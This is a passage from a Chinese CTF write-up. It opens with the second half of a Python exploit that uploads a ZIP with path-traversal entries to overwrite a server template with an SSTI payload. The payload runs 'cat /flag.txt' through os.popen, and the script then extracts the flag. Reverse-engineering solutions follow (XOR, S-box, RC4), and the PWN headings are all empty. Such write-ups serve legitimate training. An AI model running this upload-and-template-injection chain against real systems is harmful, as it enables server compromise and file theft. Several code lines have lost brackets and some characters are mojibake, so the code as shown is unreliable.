路径穿越覆盖模板文件 # 从 /app/uploads/themes/<id>/ 到 /app/templates/memo.html zf.writestr('../../../templates/memo.html', ssti_payload) # 也尝试其他路径 zf.writestr('../../templates/memo.html', ssti_payload2) with open('exploit.zip', 'wb') as f: f.write(zip_buffer.getvalue()) print("+ exploit.zip 创建成功!") # 步骤4:上传恶意ZIP print("\n+ 上传恶意ZIP...") with open('exploit.zip', 'rb') as f: files = {'theme': ('exploit.zip', f, 'application/zip')} resp = session.post(f'{target}/theme/upload', files=files, timeout=10) print(f"+ 上传状态: {resp.status_code}") print(f"+ 响应:") print(resp.text) # 提取主题ID id_match = re.search(r'id:\s*<code>(.*?)</code>', resp.text) if id_match: theme_id = id_match.group(1) print(f"+ 主题ID: {theme_id}") else: print("- 未能提取主题ID") # 步骤5:等待服务器处理 print("\n+ 等待服务器处理...") time.sleep(3) # 步骤6:触发SSTI print("\n+ 访问 /memo 触发SSTI...") resp = session.get(f'{target}/memo', timeout=10) print(f"+ 响应状态: {resp.status_code}") print(f"+ 响应长度: {len(resp.text)}") # 步骤7:提取flag print("\n+ 提取Flag...") print("=" * 60) # 查找flag flag_patterns = r'FLAG=(\[\^\\s+)', r'flag\{\^}+\}', r'ctf\{\^}+\}', r'FLAG\{\^}+\}' ] found_flag = None for pattern in flag_patterns: matches = re.findall(pattern, resp.text, re.IGNORECASE) if matches: found_flag = matches0 break if found_flag: print("������ FLAG FOUND! ������") print("=" * 60) print(f"�� {found_flag}") print("=" * 60) # 保存flag到文件 with open('flag.txt', 'w') as f: f.write(found_flag) print("+ Flag已保存到 flag.txt") else: print("- 未在响应中找到flag") print("\n+ 响应内容预览:") print(resp.text:1000) # 如果没找到,尝试上传读取文件的payload print("\n+ 尝试读取 /flag.txt...") zip_buffer2 = io.BytesIO() with zipfile.ZipFile(zip_buffer2, 'w', zipfile.ZIP_DEFLATED) as zf: zf.writestr('manifest.txt', 'read_flag') zf.writestr('../../../templates/memo.html', '{{ cycler.init.globals.os.popen("cat /flag.txt").read() }}') with open('read_flag.zip', 'wb') as f: f.write(zip_buffer2.getvalue()) with open('read_flag.zip', 'rb') as f: files = {'theme': ('read_flag.zip', f, 'application/zip')} resp2 = session.post(f'{target}/theme/upload', files=files) print(f"+ 上传状态: {resp2.status_code}") time.sleep(2) resp3 = session.get(f'{target}/memo') print(f"+ /memo 响应:") print(resp3.text) print("\n✅ 完成!") 最后得到flag:flag{ab089fdc-ac48-4364-ae04-98b3c0c1a137} |
第四部分:REVERSE
4 -1 ez_xor
|---------|
| 本题思路如下: |
4-2 xor
|---------|
| 本题思路如下: |
4-3 稍微加密
|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 本题思路如下: 题目逻辑概述(反汇编 main,地址 0x1010) 1. 输出提示字符串:请输入 flag: 1. 2. 通过fgets读入最多 256 字节输入,去掉末尾换行符\n。 1. 2. 对输入进行逐字节变换,核心循环在地址0x10f0--0x1121: 1. c for (i = 0; i < len; i++) { outi = ((i * 0x1f + 0x13) & 0xff) ^ table key\[i \& 3 ^ ini ];} 其中: * key={0x76, 0x41, 0x85, 0xf8}(在栈上以mov dword rsp+0x20, 0xf8854176初始化) * * table是.rdata段地址0x18350处的 256 字节 S-box,且是一个置换(一一映射)。 * 1. 要求输入长度必须为0x12(即 18 字节)。 1. 2. 将变换后的out与地址0x18450处的 18 字节目标数据做memcmp,相等则输出: 恭喜,你找到了正确的 flag! 1. *** ** * ** *** 逆向推导过程 因为table是置换,所以存在逆表inv_table。 对每个位置i,可以从目标值反推原始输入: 已知: text outi = targeti 因此: text targeti = ((i * 0x1f + 0x13) & 0xff) ^ table key\[i \& 3 ^ ini ] 解出table...: text table key\[i \& 3 ^ ini ] = targeti ^ ((i * 0x1f + 0x13) & 0xff) 查逆表得到: text keyi \& 3 ^ ini = inv_table target\[i ^ ((i * 0x1f + 0x13) & 0xff) ] 最终: ini = inv_table target\[i ^ ((i * 0x1f + 0x13) & 0xff) ] ^ keyi \& 3 *** ** * ** *** 验证与结果 通过上述逆推,得到 18 字节明文。 再用正向变换验证,与目标数据完全一致。 最终得到正确的 flag: flag{easy_reverse} 最后得到flag:{flag{easy_reverse}} |
4-4 flag检测器
|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 本题思路如下: 核心是 0x1010 处的校验函数: asm 0x1010 xor r8d, r8d ; 计数器 i = 0 0x1013 lea rax, rip + 0x17336 ; rax = 0x18350(目标数组) 0x101a sub rcx, rax ; rcx = input - 0x18350 0x1020 movzx edx, byte ptr rax+rcx ; edx = inputi 0x1024 xor dl, 0x99 ; inputi ^ 0x99 0x1027 cmp dl, byte ptr rax ; 与 targeti 比较 0x1029 jne 0x103d ; 不相等 -> 返回 0(失败) ... 0x1031 cmp r8d, 0x1a ; 循环 0x1a = 26 次 0x1035 jb 0x1020 0x1037 mov eax, 1 ; 全部相等 -> 返回 1(成功) 即校验逻辑就是简单的单字节异或: inputi ^ 0x99 == targeti (i = 0..25) main 里用 fgets 读入后 strcspn(input, "\r\n") 去掉换行,再调用该校验函数;成功输出 正确!这就是 flag。,失败输出 错误,请重试。。 target 是 0x18350 处的 26 字节,直接异或 0x99 即还原明文: target = ff f5 f8 fe e2 e1 a9 eb c6 f0 ea c6 f7 a9 ed c6 e9 f5 ad a8 f7 ed fc e1 ed e4 XOR 0x99 -> flag{x0r_is_n0t_pl41ntext} 已用正向验证:flag{x0r_is_n0t_pl41ntext} 逐字节异或 0x99 后与目标数组完全一致。 最后的flag:flag{x0r_is_n0t_pl41ntext} |
4-5 一个平平无奇的dll
|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 本题思路如下: 1. 基本信息 * 文件 :tgt.dll,x64 架构,Rust 编译 * * 导出函数 :CheckFlag(RVA0x1000,位于.check节) * * 关键特征 :.check节内容被加密,需动态解密后才能分析 * *** ** * ** *** 2. 解密机制 2.1 触发时机 真正的DllMain(RVA0x2000)在DLL_PROCESS_ATTACH事件中执行解密操作。 2.2 解密所需材料 解密.check节需要以下三部分数据: |---------------------------|-------------------------------------------------| | 材料 | 说明 | | .check 节起始 VA | 0x1000的小端字节表示 | | 16 字节固定密钥 | 4f 3a 91 e2 77 15 cb 08 3d 6e 52 8f a1 34 9c d9 | | .text 前 256 字节校验和 | 用于构造变种 RC4 密钥的一部分 | 2.3 解密流程 1. 组合上述三部分数据,构造变种 RC4 密钥。 1. 2. 使用该密钥对.check节(从 VA0x1000开始)进行原地解密 。 1. 2. 解密完成后,.check节中的CheckFlag函数变为可执行的有效代码。 1. *** ** * ** *** 3. CheckFlag 函数逻辑(解密后) 解密后的CheckFlag函数执行以下操作: 3.1 目标字符串还原 代码中存储了 17 个硬编码常量字节,每个字节与0xAA异或后得到真实目标字符串: text 硬编码数据(17 字节):0xcc 0xc6 0xcb 0xcd 0xd1 0xc7 0xcb 0xcd 0xc3 0xc9 0xcb 0xc6 0xf5 0xce 0xc6 0xc6 0xd7逐字节 ^ 0xAA 后得到:f l a g { m a g i c a l _ d l l } 即目标字符串为:flag{magical_dll} 3.2 输入比较 使用%255s格式读取用户输入(最多 255 字节,忽略空格) 将输入与上述目标字符串比较。 匹配则验证通过。 * *** ** * ** *** 4. 最终答案 text flag{magical_dll} |
4 -6 状态机
|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 本题思路如下: 1. 基本信息 * 文件 :challenge.exe,Rust 编译 * * 混淆方式 :OLLVM(控制流平坦化 + MBA 混淆) * * 核心逻辑 :入口main(RVA0x2388)调用状态机函数(RVA0x12c0) * *** ** * ** *** 2. 逆向核心发现 尽管程序被 OLLVM 高度混淆,但分析后发现其核心加密算法是标准 RC4 : |-----------------|--------------------------| | 组件 | 位置/细节 | | KSA 初始化 | 从rsp+0x20读取 16 字节密钥 | | PRGA 解密 | 解密rbp-0x20处的 25 字节数据 | | 密钥构造 | 在0x20ab处通过mov立即数指令拼接 | *** ** * ** *** 3. RC4 密钥 在地址0x20ab处,程序通过多条mov指令构造出 16 字节密钥: hex 0c 32 22 61 f4 e0 96 fc ca 5f 6f dd 45 4f e8 d3 *** ** * ** *** 4. 密文数据 被解密的 25 字节密文从.data段(VA0x25000)加载: hex 14 ea 81 c5 ab 55 d9 f9 cf dd d5 a3 8b f3 c2 6e ac f5 b5 9e d9 b4 ca 83 bb *** ** * ** *** 5. RC4 解密结果 使用上述密钥对密文进行标准 RC4 解密,得到 25 字节明文: flag{R3v3rs3_1s_Fun_2026} *** ** * ** *** 6. 验证 将解密结果作为输入传入程序。 程序输出:恭喜,你找到了正确的flag! 验证通过 *** ** * ** *** 7. 最终答案 flag{R3v3rs3_1s_Fun_2026} |
第五部分:PWN
5 -1 03_fastbin_hook
|---------|
| 本题思路如下: |
5-2 winwin
|---------|
| 本题思路如下: |
5-3 Oracle
|---------|
| 本题思路如下: |
5-4 ret2dl
|---------|
| 本题思路如下: |
5-5 02_leak_rop
|---------|
| 本题思路如下: |
5-6 heapnote
|---------|
| 本题思路如下: |
5-7 04_unlink_note
|---------|
| 本题思路如下: |
5-8 cometosh
|---------|
| 本题思路如下: |
5-9 echo
|---------|
| 本题思路如下: |
5-10 woo
|---------|
| 本题思路如下: |